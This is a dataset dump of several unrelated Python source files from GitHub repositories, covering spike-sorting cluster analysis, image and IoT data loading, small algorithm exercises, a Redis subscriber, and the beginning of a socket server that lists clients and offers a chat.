print(powSet(li))","repo_name":"CodeMacrocosm/Algo-a-Thon-22","sub_path":"Algos/Python/power_set.py","file_name":"power_set.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"67"} +{"seq_id":"10332568691","text":"'''\nAnalyze the quality of clusters produced by spike-sorting\n'''\n\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\nfrom jaratoolbox import spikesorting\n# from jaratoolbox import celldatabase\nfrom jaratoolbox import loadopenephys\nfrom jaratoolbox import settings\n\nimport itertools #For making string combinations of all comparisons\nimport pickle #For saving the waveform objects\n\n#For importing cellDB files\nimport sys\nimport importlib\n\n#For calling rsync to get just the data we need\nimport subprocess\n\nimport pandas as pd\n\n#from jaratoolbox import ephyscore\n\ndef find_ephys_sessions(cellDB):\n return list(np.unique(cellDB.get_vector('ephysSession')))\n\ndef waveforms_many_sessions(subject, ephysSessions, tetrode, clustersPerTetrode=12, wavesize=160):\n '''\n Create a list of arrays containing waveforms for each session for one tetrode.\n '''\n waveformsOneTetrode = []\n for oneSession in ephysSessions:\n waves = calculate_avg_waveforms(subject, oneSession, tetrode,\n clustersPerTetrode=clustersPerTetrode, wavesize=wavesize)\n waveformsOneTetrode.append(waves)\n return waveformsOneTetrode\n\ndef calculate_avg_waveforms(subject, ephysSession, tetrode, clustersPerTetrode=12, wavesize=160):\n '''\n NOTE: This methods should look through sessions, not clusters.\n The idea is to compare clusters within a tetrode, and then across sessions\n but still within a tetrode.\n NOTE: This method is inefficient because it load the spikes file for each cluster.\n '''\n\n # DONE: Load data for one tetrodes and calculate average for each cluster.\n #ephysFilename = ???\n ephysDir = os.path.join(settings.EPHYS_PATH, subject, ephysSession)\n ephysFilename = os.path.join(ephysDir, 'Tetrode{}.spikes'.format(tetrode))\n spikes = loadopenephys.DataSpikes(ephysFilename)\n\n # DONE: Load cluster file\n #kkDataDir = os.path.dirname(self.filename)+'_kk'\n #fullPath = os.path.join(kkDataDir,clusterFilename)\n clustersDir = '{}_kk'.format(ephysDir)\n clusterFilename = os.path.join(clustersDir, 'Tetrode{}.clu.1'.format(tetrode))\n clusters = np.fromfile(clusterFilename, dtype='int32', sep=' ')[1:]\n\n # DONE: loop through clusters\n allWaveforms = np.empty((clustersPerTetrode,wavesize))\n for indc in range(clustersPerTetrode):\n print('Estimating average waveform for {0} T{1}c{2}'.format(ephysSession,tetrode,indc+1))\n\n # DONE: get waveforms for one cluster\n #Add 1 to the cluster index because clusters start from 1\n waveforms = spikes.samples[clusters==indc+1, :, :]\n\n alignedWaveforms = spikesorting.align_waveforms(waveforms)\n meanWaveforms = np.mean(alignedWaveforms,axis=0)\n allWaveforms[indc,:] = meanWaveforms.flatten()\n return allWaveforms\n\n\n###waveforms = ephysData.spikes.samples.astype(float)-2**15 #This is specific to open Ephys\n###waveforms = (1000.0/ephysData.spikes.gain[0,0]) * waveforms\n\ndef row_corrcoeff(A,B):\n '''\n Row-wise correlation coefficient between two 2-D arrays.\n Note that np.corrcoeff() is not a valid replacement for this method.\n\n http://stackoverflow.com/questions/30143417/computing-the-correlation-coefficient-between-two-multi-dimensional-arrays\n '''\n # Rowwise mean of input arrays & subtract from input arrays themeselves\n A_mA = A - A.mean(1)[:,None]\n B_mB = B - B.mean(1)[:,None]\n\n # Sum of squares across rows\n ssA = (A_mA**2).sum(1)\n ssB = (B_mB**2).sum(1)\n\n # Finally get corr coeff\n return np.dot(A_mA,B_mB.T)/np.sqrt(np.dot(ssA[:,None],ssB[None]))\n\n\ndef spikeshape_correlation(waveforms):\n '''\n Find the correlation between spikes shapes for a session and across sessions.\n Args:\n waveforms (list): each item should be an np.array containing waveforms\n for all clusters in one session with size [nClusters,nSamples]\n Returns:\n ccSelf (list): each item is an np.array containing the correlation coefficient\n matrix across clusters for each session.\n ccAcross (list): each item is an np.array containing the corr coeff matrix\n between clusters from one session and the next.\n '''\n ccSelf = []\n ccAccross = []\n inds=-1 # Needed in case only one waveform\n for inds in range(len(waveforms)-1):\n ccSelf.append(row_corrcoeff(waveforms[inds],waveforms[inds]))\n ccAccross.append(row_corrcoeff(waveforms[inds],waveforms[inds+1]))\n ccSelf.append(row_corrcoeff(waveforms[inds+1],waveforms[inds+1]))\n return (ccSelf,ccAccross)\n\n\ndef plot_correlation(ccSelf,ccAccross,cmap='hot'):\n nSessions = len(ccSelf)\n plt.clf()\n for inds in range(nSessions):\n plt.subplot2grid((2,nSessions),(0,inds))\n plt.imshow(ccSelf[inds],clim=[0,1], cmap=cmap,interpolation='nearest')\n plt.axis('image')\n #title('')\n for inds in range(nSessions-1):\n plt.subplot2grid((2,nSessions-1),(1,inds))\n plt.imshow(ccAccross[inds],clim=[0,1], cmap=cmap,interpolation='nearest')\n plt.axis('image')\n plt.colorbar()\n plt.draw()\n\ndef rsync_session_data(subject,\n session,\n serverUser = 'jarauser',\n serverName = 'jarastore',\n serverEphysPath = '/data2016/ephys',\n skipIfExists=False):\n '''\n #NOTE: Deprecated now, use jaratest.nick.utils.transferutils module for these rsync funcs\n #TODO: server user and server name as one string\n #TODO: server ephys path and user in settings file\n Rsync just the sessions you need from jarahub\n '''\n fullRemotePath = os.path.join(serverEphysPath, subject, session)\n serverDataPath = '{}@{}:{}'.format(serverUser, serverName, fullRemotePath)\n localDataPath = os.path.join(settings.EPHYS_PATH, subject) + os.sep\n fullLocalPath = os.path.join(localDataPath, session)\n transferCommand = ['rsync', '-av', serverDataPath, localDataPath]\n if skipIfExists:\n if not os.path.exists(fullLocalPath):\n subprocess.call(transferCommand)\n else:\n subprocess.call(transferCommand)\n\ndef rsync_ISI_file(subject,\n serverUser = 'jarauser',\n serverName = 'jarastore',\n serverEphysPath = '/data2016/ephys',\n skipIfExists=False):\n\n isiFn = 'ISI_Violations.txt'\n fullRemotePath = os.path.join(serverEphysPath, '{}_processed'.format(subject), isiFn)\n serverDataPath = '{}@{}:{}'.format(serverUser, serverName, fullRemotePath)\n localDataPath = os.path.join(settings.EPHYS_PATH, subject) + os.sep\n transferCommand = ['rsync', '-av', serverDataPath, localDataPath]\n fullLocalFilename = os.path.join(localDataPath, isiFn)\n if skipIfExists:\n if not os.path.isfile(fullLocalFilename):\n subprocess.call(transferCommand)\n else:\n subprocess.call(transferCommand)\n\n\n\ndef comparison_label_array(session1, session2, tetrode):\n '''\n Returns an array of strings that describe the comparisons made between two sessions\n '''\n clabs1 = ['{}_T{}c{}'.format(session1, tetrode, cnum) for cnum in range(1, 13)]\n clabs2 = ['{}_T{}c{}'.format(session2, tetrode, cnum) for cnum in range(1, 13)]\n labs = ['{} x {}'.format(cl1, cl2) for cl1, cl2 in itertools.product(clabs1, clabs2)]\n larray = np.array(labs, dtype=str).reshape((12, 12))\n return larray\n\n\ndef read_ISI_dict(fileName):\n '''\n This is how Billy and Lan read the ISI files\n '''\n ISIFile = open(fileName, 'r')\n ISIDict = {}\n behavName = ''\n for line in ISIFile:\n if (line.split(':')[0] == 'Behavior Session'):\n behavName = line.split(':')[1][:-1] #Drop the suffix, just keep the date\n else:\n ISIDict[behavName] = [float(x) for x in line.split(',')[0:-1]] #There is an extra comma at the end of the line, so take to -1\n return ISIDict\n\n\ndef session_good_clusters(cellDB, session, tetrode, isiThresh=None, isiDict=None):\n '''\n Return a 12-item vector, containing 1 if the cluster was good quality and zero otherwise\n '''\n allcellsTetrode = cellDB.get_vector('tetrode')\n allcellsSession = cellDB.get_vector('ephysSession')\n allcellsQuality = cellDB.get_vector('quality')\n #The cells to use come from this session, this tetrode\n cellsThisSession = allcellsSession==session\n cellsThisTetrode = allcellsTetrode==tetrode\n cellsToUse = (cellsThisSession & cellsThisTetrode)\n #Whether each cell in the db is good\n allcellsGoodQuality = ((allcellsQuality==1) | (allcellsQuality==6))\n #Whether the cells that we want to use are good\n goodQualityToUse = allcellsGoodQuality[cellsToUse]\n #The cluster number for each cluster (in case not full 12, or does not start at 1)\n allcellsClusterNumber = cellDB.get_vector('cluster')\n clusterNumsToUse = allcellsClusterNumber[cellsToUse]\n #Initialize to zero\n passingClusters = np.zeros(12, dtype='bool')\n # Set the good quality clusters to 1\n for indClust, clusterNum in np.ndenumerate(clusterNumsToUse):\n passingClusters[clusterNum-1]=goodQualityToUse[indClust]\n\n if isiThresh:\n allcellsBehavSessions = cellDB.get_vector('behavSession')\n behavSessionsThisSession = allcellsBehavSessions[cellsThisSession]\n behavSession = np.unique(behavSessionsThisSession)\n assert len(behavSession)==1, 'More than 1 behavior session for this ephys session'\n\n #These are already limited by session\n #DONE: Limit to cells this tetrode\n isiThisSession = np.array(isiDict[behavSession[0]])\n\n tetrodesThisSession = allcellsTetrode[cellsThisSession]\n cellsThisTetrode = tetrodesThisSession==tetrode\n isiThisTetrode = isiThisSession[cellsThisTetrode]\n\n assert len(isiThisTetrode)==len(passingClusters), \"isiThisTetrode not correct length\"\n\n isiPass = isiThisTetrode < isiThresh\n passingClusters = passingClusters & isiPass\n\n return passingClusters\n\ndef comparison_quality_filter(cellDB, session1, session2, tetrode, isiThresh=None, isiDict=None):\n #DONE: FINISH THIS FUNCTION\n\n session1good = session_good_clusters(cellDB, session1, tetrode, isiThresh, isiDict).astype(int)\n session2good = session_good_clusters(cellDB, session2, tetrode, isiThresh, isiDict).astype(int)\n\n #Make a boolean matrix from the two quality vectors, with 1 only if both are 1\n #DONE: Which should come first for the across session comparisons?\n #session 1 becomes the rows, which is the same as the corr function\n qualityMat = np.outer(session1good.astype(int), session2good.astype(int)).astype(bool)\n\n return qualityMat\n\ndef triangle_filter(qualityMat):\n\n #For the self analysis, we want to exclude the diagonal and the top half of the\n #triangle\n #We use the -1th diagonal so that the self comparisons are filtered out\n qualityMat = np.tril(qualityMat, k=-1)\n return qualityMat\n\ndef print_reports_clusters(subject, sessions, tetrode, printer):\n '''\n Automatically print (on paper, with a printer) the cluster reports for some sessions\n use lpstat -p to find printers\n use lpadmin -p printername to add a printer as the default\n '''\n\n reportsDir = os.path.join(settings.EPHYS_PATH, subject, 'reports_clusters')\n for session in sessions:\n reportFilename = '{}_{}_T{}.png'.format(subject, session, tetrode)\n fullReportPath = os.path.join(reportsDir, reportFilename)\n printcommand = ['lpr', '-P {}'.format(printer), fullReportPath]\n print(' '.join(printcommand))\n # subprocess.call(printcommand)\n\n\nif __name__=='__main__':\n ### Useful trick: np.set_printoptions(linewidth=160)\n CASE = 4\n if CASE==0:\n nSamples = 4*40\n nClusters = 12\n basewave = np.sin(2*np.pi*np.linspace(0,2,nSamples))\n waveforms1 = basewave + 0.5*np.random.randn(nClusters,nSamples)\n waveforms2 = basewave + 0.5*np.random.randn(nClusters,nSamples)\n waveforms3 = basewave + 0.5*np.random.randn(nClusters,nSamples)\n\n listwaveforms = [waveforms1,waveforms2,waveforms3]\n #listwaveforms = [waveforms1,waveforms1,waveforms1]\n\n #cc = np.corrcoef(waveforms1,waveforms2)\n #cc = row_corrcoeff(waveforms1,waveforms2)\n (ccSelf,ccAccross) = spikeshape_correlation(listwaveforms)\n\n #print ccSelf\n #print ccAccross\n\n plot_correlation(ccSelf,ccAccross)\n \n elif CASE==1:\n from jaratoolbox import celldatabase\n eSession = celldatabase.EphysSessionInfo\n cellDB = celldatabase.CellDatabase()\n oneES = eSession(animalName='test089',\n ephysSession = '2015-07-31_14-40-40',\n clustersEachTetrode = {1:range(1,13),2:range(1,13),3:range(1,13),4:range(1,13),\n 5:range(1,13),6:range(1,13),7:range(1,13),8:range(1,13)},\n behavSession = '20150731a')\n cellDB.append_session(oneES)\n oneES = eSession(animalName='test089',\n ephysSession = '2015-08-21_16-16-16',\n clustersEachTetrode = {1:range(1,13),2:range(1,13),3:range(1,13),4:range(1,13),\n 5:range(1,13),6:range(1,13),7:range(1,13),8:range(1,13)},\n behavSession = '20150821a')\n cellDB.append_session(oneES)\n\n # -- Get list of sessions --\n sessionsList = np.unique(cellDB.get_vector('ephysSession'))\n\n #awave = calculate_avg_waveforms(cellDB)\n\n #(ccSelf,ccAccross) = spikeshape_correlation([awave])\n #plot_correlation(ccSelf,ccAccross)\n\n elif CASE==2:\n\n #Load the waveforms for all the sessions and save them\n subject = 'test098'\n sessions = ['2016-07-26_12-18-39','2016-07-26_12-30-36']\n tetrode=1\n sessionWaves = waveforms_many_sessions(subject, sessions, tetrode)\n\n #Save the list of waveform arrays as compressed binary file\n waveFile = '/tmp/{}waves.npz'.format(subject)\n np.savez_compressed(waveFile, **dict(zip(sessions, sessionWaves)))\n\n #Read the saved waveforms back in as a list\n #TODO: This returns a dict, which may not be sorted\n arrFile = np.load(waveFile)\n loadWaves = [arr for name, arr in arrFile.items()]\n loadSessions = [name for name, arr in arrFile.items()]\n\n ccSelf, ccAcross = spikeshape_correlation(loadWaves)\n\n corrFile = '/tmp/{}corr.npz'.format(subject)\n np.savez_compressed(corrFile, ccSelf=ccSelf, ccAcross=ccAcross)\n\n loadCorr = np.load(corrFile)\n plot_correlation(loadCorr['ccSelf'], loadCorr['ccAcross'],'viridis')\n\n elif CASE==3:\n\n from jaratest.billy.scripts import celldatabase_quality_tuning as cellDB\n\n ##\n subject = 'adap015'\n tetrodes = range(1, 9)\n corrThresh = 0.7 #The lower limit for the correlation value \n isiThresh = 0.02 #The upper threshold for ISI violations\n ##\n\n ### -- DO THIS PER ANIMAL -- ###\n #Get the allcells file\n allcellsFilename = 'allcells_{}_quality'.format(subject)\n sys.path.append(settings.ALLCELLS_PATH)\n\n allcells = importlib.import_module(allcellsFilename)\n\n #Get the isi information for each cell in the allcells file\n rsync_ISI_file(subject, skipIfExists=True)\n isiFn = os.path.join(settings.EPHYS_PATH, subject, 'ISI_Violations.txt') #TODO: this is wet\n isiDict = read_ISI_dict(isiFn)\n\n #Find all the sessions for this allcells file\n sessions = find_ephys_sessions(allcells.cellDB)\n clusterDirs = ['{}_kk'.format(session) for session in sessions]\n\n #Rsync the data from jarastore for these sessions if needed\n for session in sessions:\n rsync_session_data(subject, session, skipIfExists=True)\n for clusterDir in clusterDirs:\n rsync_session_data(subject, clusterDir, skipIfExists=True)\n\n ### -- DO THIS PER TETRODE -- ###\n\n for tetrode in tetrodes:\n #If the waves exist, load them. If not, get them\n waveFile = '/tmp/{}_TT{}waves.p'.format(subject, tetrode)\n\n # #DONE: stop calculating waves every time\n if os.path.isfile(waveFile):\n #Load the waves\n #NOTE: I first used np.savez, but it saved a dict and did not preserve the order of the sessions. Pickle saves the actual object.\n #TODO: Use np.savez with the data object to save as the list of arrays\n #TODO: Also see if we should use savez_compressed\n print(\"Loading average waves for {} tetrode {}\".format(subject, tetrode))\n sessionWaves = pickle.load(open(waveFile, 'rb'))\n else:\n print(\"Calculating average waves for Subject {} tetrode {}\".format(subject, tetrode))\n sessionWaves = waveforms_many_sessions(subject, sessions, tetrode)\n pickle.dump(sessionWaves, open(waveFile, 'wb'))\n\n #TODO: if the correlations exist we don't need to load the waves\n corrFile = '/tmp/{}_TT{}corr.npz'.format(subject, tetrode)\n if os.path.isfile(corrFile):\n #Load the correlations if they already exist\n loadCorr = np.load(corrFile)\n ccSelf = loadCorr['ccSelf']\n ccAcross = loadCorr['ccAcross']\n else:\n #Calculate the pairwise correlation between spikes\n ccSelf, ccAcross = spikeshape_correlation(sessionWaves)\n #Save the correlations\n np.savez_compressed(corrFile, ccSelf=ccSelf, ccAcross=ccAcross)\n\n #Loop self comparisons WITH THRESHOLD and save to file\n #DONE: Name the file according to animal and tetrode\n allSelfCorrVals = []\n allSelfCorrComps = []\n f = open('/tmp/{}_TT{}_SELF_{}thresh.txt'.format(subject, tetrode, corrThresh), 'w')\n header = '{} TT{} SELF correlation'.format(subject, tetrode)\n f.write(header)\n f.write('\\n')\n for indSession, session in enumerate(sessions):\n selfCompThisSession = ccSelf[indSession]\n qualityMat = comparison_quality_filter(allcells.cellDB, session, session, tetrode, isiThresh, isiDict)\n qualityMat = triangle_filter(qualityMat)\n larray = comparison_label_array(session, session, tetrode)\n goodCorrVals = selfCompThisSession[qualityMat]\n goodCompLabs = larray[qualityMat]\n corrAboveThreshold = goodCorrVals[goodCorrVals>corrThresh]\n compsAboveThreshold = goodCompLabs[goodCorrVals>corrThresh]\n #save out the values\n allSelfCorrVals.extend(list(goodCorrVals))\n message = '\\n##------------## Session {} Self Comparison ##------------##\\n'.format(session)\n f.write(message)\n # for corr in compsAboveThreshold:\n # f.write(corr)\n # f.write('\\n')\n for ind in np.argsort(corrAboveThreshold)[::-1]: #Argsort to print in descending order\n f.write('{0:.2f} - '.format(corrAboveThreshold[ind]))\n f.write(compsAboveThreshold[ind])\n f.write('\\n')\n f.close()\n\n #DONE: Name the file according to animal and tetrode\n allCrossCorrVals = []\n allCrossCorrComps = []\n f = open('/tmp/{}_TT{}_CROSS_{}thresh.txt'.format(subject, tetrode, corrThresh), 'w')\n header = '{} TT{} CROSS correlation'.format(subject, tetrode)\n f.write(header)\n f.write('\\n')\n for indComp, (session1, session2) in enumerate(zip(sessions, sessions[1:])):\n crossCompTheseSessions = ccAcross[indComp]\n qualityMat = comparison_quality_filter(allcells.cellDB, session1, session2, tetrode, isiThresh, isiDict)\n larray = comparison_label_array(session1, session2, tetrode)\n goodCorrVals = crossCompTheseSessions[qualityMat]\n goodCompLabs = larray[qualityMat]\n corrAboveThreshold = goodCorrVals[goodCorrVals>corrThresh]\n compsAboveThreshold = goodCompLabs[goodCorrVals>corrThresh]\n #save out the values\n allCrossCorrVals.extend(list(goodCorrVals))\n message = '\\n##------Cross Comp {} x {}------##\\n'.format(session1, session2)\n f.write(message)\n for ind in np.argsort(corrAboveThreshold)[::-1]: #Argsort to print in descending order\n f.write('{0:.2f} - '.format(corrAboveThreshold[ind]))\n f.write(compsAboveThreshold[ind])\n f.write('\\n')\n f.close()\n\n","repo_name":"sjara/jaratoolbox","sub_path":"jaratoolbox/clusteranalysis.py","file_name":"clusteranalysis.py","file_ext":"py","file_size_in_byte":20966,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"34051536092","text":"import os\r\nimport torch\r\nimport numpy as np\r\nfrom PIL import Image\r\n\r\nfrom Datasets.seg_transfo import SegTransformCompose, ToTensor\r\n\r\n\r\nclass WoodScape(torch.utils.data.Dataset):\r\n colors = np.array([\r\n [ 0, 0, 0], # \"void\"\r\n [128, 64, 128], # \"road\",\r\n [ 69, 76, 11], # \"lanemarks\",\r\n [ 0, 255, 0], # \"curb\",\r\n [220, 20, 60], # \"person\",\r\n [255, 0, 0], # \"rider\",\r\n [ 0, 0, 142], # \"vehicles\",\r\n [119, 11, 32], # \"bicycle\",\r\n [ 0, 0, 230], # \"motorcycle\",\r\n [220, 220, 0], # \"traffic_sign\",\r\n ])\r\n\r\n cmap = dict(zip(range(len(colors)), colors))\r\n class_name = [\"void\", \"road\", \"lanemarks\", \"curb\", \"person\", \"rider\", \"vehicles\",\r\n \"bicycle\", \"motorcycle\", \"traffic_sign\"]\r\n class_rate = torch.FloatTensor([0.08740, 0.02362, 0.37615, 0.9003, 2.15570,\r\n 3.03690, 0.15685, 1.00000, 2.7519, 7.5890])\r\n\r\n def __init__(self, folder, split, transforms=SegTransformCompose(ToTensor())):\r\n super(WoodScape, self).__init__()\r\n self.folder = folder\r\n self.split = split\r\n with open(os.path.join(self.folder, split + \".txt\")) as f:\r\n self.img_set = np.array([l.split() for l in f.readlines()])\r\n self.x = self.img_set[:, 0]\r\n self.y = self.img_set[:, 1]\r\n\r\n self.transforms = transforms\r\n\r\n def __len__(self):\r\n return len(self.img_set)\r\n\r\n def __getitem__(self, id):\r\n imgx = Image.open(self.x[id])\r\n imgy = Image.open(self.y[id])\r\n imgx, imgy = self.transforms(imgx, imgy)\r\n return imgx, imgy\r\n","repo_name":"valeoai/obsnet","sub_path":"Datasets/woodscape.py","file_name":"woodscape.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"67"} +{"seq_id":"34134947686","text":"#!/usr/bin/python\n#\n# vist http://www.pythonchallenge.com/pc/def/map.html to see the problem\n#\n\nimport string\nfrom string import maketrans\nimport sys\nimport inspect\n\n# my way of dealing with this problem\ndef translate1(text):\n '''input a long text and get the translation. The rule is to replace each of the letters with the letter 2 steps after it in the alphabet table. If it reaches to the end of the table, rotate it to the beginning of the table\n '''\n newText = \"\"\n for letter in text:\n asciiNum = ord(letter)\n if asciiNum >= 97 and asciiNum <=122:\n letter = chr(97+(asciiNum-97+2)%26) #rotate wihin the alphabet table\n newText += letter\n\n return newText\n\ndef translate2(text):\n '''make a tranlation table by using the method maketrans()\n '''\n #intab = 'abcdefghijklmnopqrstuvwxyz'\n #outtab = 'cdefghijklmnopqrstuvwxyzab'\n #a better way to do the letters\n intab = string.lowercase\n outtab = string.lowercase[2:] + string.lowercase[:2]\n trantab = maketrans(intab, outtab)\n newText = text.translate(trantab)\n return newText\n\ntext = ''\n#text = \"g fmnc wms bgblr rpylqjyrc gr zw fylb. rfyrq ufyr amknsrcpq ypc dmp. bmgle gr gl zw fylb gq glcddgagclr ylb rfyr'q ufw rfgq rcvr gq qm jmle. sqgle qrpgle.kyicrpylq() gq pcamkkclbcb. lmu ynnjw ml rfc spj.\"\nif not text:\n try:\n text = sys.argv[1]\n except:\n print(\"orgininal text NOT provided, append that to \\\"python %s\\\"\" % inspect.stack()[0][1] ) #get the current file name\nprint(\"the original text is: %s\" % text)\nprint(\"solution 1 result: %s\" % translate1(text))\nprint(\"solution 2 result: %s\" % translate2(text))\n","repo_name":"echogwu/pythonChallenge","sub_path":"level1.py","file_name":"level1.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15012418252","text":"\"\"\"\nBasic Calculator\n\nImplement a basic calculator to evaluate a simple expression string.\n\nThe expression string may contain open ( and closing parentheses ), the plus + or minus sign -, non-negative integers and empty spaces .\n\nExample 1:\n\nInput: \"1 + 1\"\nOutput: 2\n\nExample 2:\n\nInput: \" 2-1 + 2 \"\nOutput: 3\n\nExample 3:\n\nInput: \"(1+(4+5+2)-3)+(6+8)\"\nOutput: 23\n\nNote:\n\n You may assume that the given expression is always valid.\n Do not use the eval built-in library function.\n\n\n\"\"\"\n\n# do everything in one path, only append elements to stack if '('\nclass Solution:\n def calculate(self, s: str) -> int:\n res, sign = 0, 1\n n = len(s)\n stack = []\n i = 0 \n while i < len(s):\n if s[i].isnumeric():\n num = 0\n while i < n and s[i].isnumeric():\n num = 10 * num + int(s[i])\n i += 1\n res += sign * num\n i -= 1\n elif s[i] == '+':\n sign = 1\n elif s[i] == '-':\n sign = -1\n elif s[i] == '(':\n stack.append(res)\n stack.append(sign)\n res = 0\n sign = 1\n elif s[i] == ')':\n res *= stack.pop(-1)\n res += stack.pop(-1)\n i += 1\n return res","repo_name":"CathyQian/Data-Structures-and-Algorithms","sub_path":"AllSolutions/Basic Calculator.py","file_name":"Basic Calculator.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"665900363","text":"\nimport traceback\nfrom typing import List, Callable\n\nimport cv2\n\nimport numpy as np\nfrom numpy import asarray\n\nfrom image_processing.utils.color_helper import MplColorHelper, RGBColor\nfrom image_processing.load_images import display_image\nfrom image_processing.database.config import Config\n\n\nclass LabelMixin:\n \"\"\"_summary_\n \"\"\"\n\n def __init__(self, config: Config, labels, save_callback: Callable):\n \"\"\"_summary_\n\n Args:\n config (_type_): _description_\n \"\"\"\n self.config = config\n self.labels = labels\n self.save = save_callback\n\n def label_add(self, ascension_data: RGBColor,\n display_images: List[np.ndarray] = None):\n \"\"\"_summary_\n\n Args:\n ascension_data (AscensionData): _description_\n \"\"\"\n color_map = MplColorHelper()\n label_palette = np.zeros(shape=[400, 400, 3], dtype=np.uint8)\n label_palette[0:400, :, :] += np.uint(asarray(ascension_data))\n\n cv2.rectangle(label_palette, (1, 1), (label_palette.shape[:2]),\n [*color_map.get_rgb(\"red\")], 10)\n\n if display_images is None:\n display_images = []\n\n display_images = [*display_images, label_palette]\n\n update = False\n while not update:\n print(f\"Data: {ascension_data}\")\n\n print(\"Label the above data with one of the following options, \"\n \"or enter 's' to skip:\")\n for label_index, label in enumerate(self.labels, start=1):\n print(f\"{label_index}: {label}\")\n new_label = display_image(\n display_images, display=True, message=\"Index: \")\n try:\n if new_label.lower()[0] == \"s\":\n return\n label_index = int(new_label) - 1\n if 0 <= label_index < (len(self.labels)):\n self._update_database(\n self.labels[label_index], ascension_data)\n return self.labels[label_index]\n except Exception as _exception: # pylint: disable=broad-except\n print(traceback.format_exc())\n print(\"Please enter a valid index for the labels \"\n f\"provided({self.labels}), ({new_label}) is not a\"\n \"valid index\")\n\n def _update_database(self, label: str, ascension_data: RGBColor):\n \"\"\"_summary_\n\n Args:\n label (str): _description_\n ascension_data (AscensionData): _description_\n \"\"\"\n self.config[label].add(ascension_data)\n self.save()\n","repo_name":"JateNensvold/afk_image_processing","sub_path":"image_processing/database/mixin/label_mixin.py","file_name":"label_mixin.py","file_ext":"py","file_size_in_byte":2625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38053693950","text":"import redis\nimport os.path\n\nenv = \"news_indiv\"\nfile_name = \"pub.txt\"\n\nclient = redis.Redis(host='127.0.0.1', port=6379)\n\np = client.pubsub()\np.subscribe(env)\n\nwhile True:\n message = p.get_message()\n if message:\n if os.path.exists(file_name):\n f = open(file_name, \"a\")\n f.write(str(message['data']))\n else:\n f = open(file_name, \"w\")\n f.write(str(message['data']))\n","repo_name":"lakub-muravlov/third-course-projects","sub_path":"DB/Lab4/sub.py","file_name":"sub.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42773315087","text":"import pandas as pd\n\ndef get_data():\n # training set\n df_trn = pd.read_csv('hackathon_IoT_training_set_based_on_01mar2017.csv', low_memory=False, na_values='?')\n for category in df_trn.device_category.unique():\n df_trn.loc[df_trn['device_category'] != category,'device_category'] = 'unk'\n \n x_trn = df_trn.iloc[:,0:(df_trn.shape[1]-1)].copy() # all but the last column\n y_trn = df_trn.iloc[:,(df_trn.shape[1]-1)].copy() # last column\n \n x_trn.fillna(value=0, inplace=True)\n\n return (x_trn, y_trn)\n\nif __name__ == '__main__':\n x,y = get_data()\n pdb.set_trace()\n print(x)\n","repo_name":"shahaf-sameach/ioTBGUHack","sub_path":"data_handler.py","file_name":"data_handler.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32128277694","text":"from collections import Counter\nfrom math import log\n\nimport numpy as np\n\n\ndef split(X, y, d, value):\n index_a = (X[:, d] <= value)\n index_b = (X[:, d] > value)\n return X[index_a], X[index_b], y[index_a], y[index_b]\n\n\ndef entropy(y):\n counter = Counter(y)\n res = 0.0\n for num in counter.values():\n p = num / len(y)\n res += -p * log(p)\n return res\n\n\ndef try_split(X, y):\n best_entropy = float('inf')\n best_d, best_v = -1, -1\n for d in range(X.shape[1]):\n sorted_index = np.argsort(X[:, d])\n for i in range(1, len(X)):\n if X[sorted_index[i - 1], d] != X[sorted_index[i], d]:\n v = (X[sorted_index[i - 1], d] + X[sorted_index[i], d]) / 2\n X_l, X_r, y_l, y_r = split(X, y, d, v)\n e = entropy(y_l) + entropy(y_r)\n if e < best_entropy:\n best_entropy, best_d, best_v = e, d, v\n return best_entropy, best_d, best_v\n","repo_name":"joizhang/imooc-machine-learning","sub_path":"chapter12/core/entropy.py","file_name":"entropy.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"42813057074","text":"import subprocess as sp\r\nimport socket\r\nimport threading\r\nfrom colorama import Fore, init\r\nfrom os import popen, path, chdir, getcwd\r\nimport json\r\nfrom playsound import playsound\r\nimport time\r\n\r\ninit()\r\n\r\n\r\n# Server class\r\nclass NetworkManagerServer(object):\r\n def __init__(self, port):\r\n # Setting up the server and it's settings.\r\n try:\r\n self.port = port\r\n self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n self.server.bind((\"\", int(port)))\r\n self.server.listen(10)\r\n self.audio = True\r\n\r\n self.clients = []\r\n\r\n except Exception as e:\r\n print(f\"{Fore.RED}[-] Socket creation failed: {e}{Fore.RESET}\")\r\n\r\n def __call__(self, *args, **kwargs):\r\n # Calling the function that accepts clients.\r\n t = threading.Thread(target=self.accepting_clients)\r\n t.start()\r\n\r\n def accepting_clients(self):\r\n # Accepts clients and appending them to the clients list which contains dictionaries of the clients ips and\r\n # sockets.\r\n try:\r\n while True:\r\n client, addr = self.server.accept()\r\n\r\n self.clients.append({\"ip\": list(addr)[0], \"socket\": client})\r\n\r\n except Exception as e:\r\n print(f\"{Fore.RED}[-] Failed connecting to clients. {e}{Fore.RESET}\")\r\n\r\n def select_option(self, option):\r\n # Getting the user's option from the menu and executing it.\r\n if option == \"1\":\r\n # Show connected clients, if there are none it will print there aren't.\r\n if len(self.clients) > 0:\r\n print(\"\\nConnected Clients:\\n==================\")\r\n\r\n for i in range(len(self.clients)):\r\n for client in self.clients:\r\n print(f\"{Fore.GREEN}{client['ip']}{Fore.RESET}\")\r\n print(\"==================\")\r\n\r\n else:\r\n print(\"\\nThere are no connected clients.\\n\")\r\n\r\n server_menu()\r\n self.select_option(input(\"Select an Option > \"))\r\n\r\n elif option == \"2\":\r\n # Chat with a client.\r\n print(\"\\n\\nChoose a client:\\n==================\")\r\n for i in 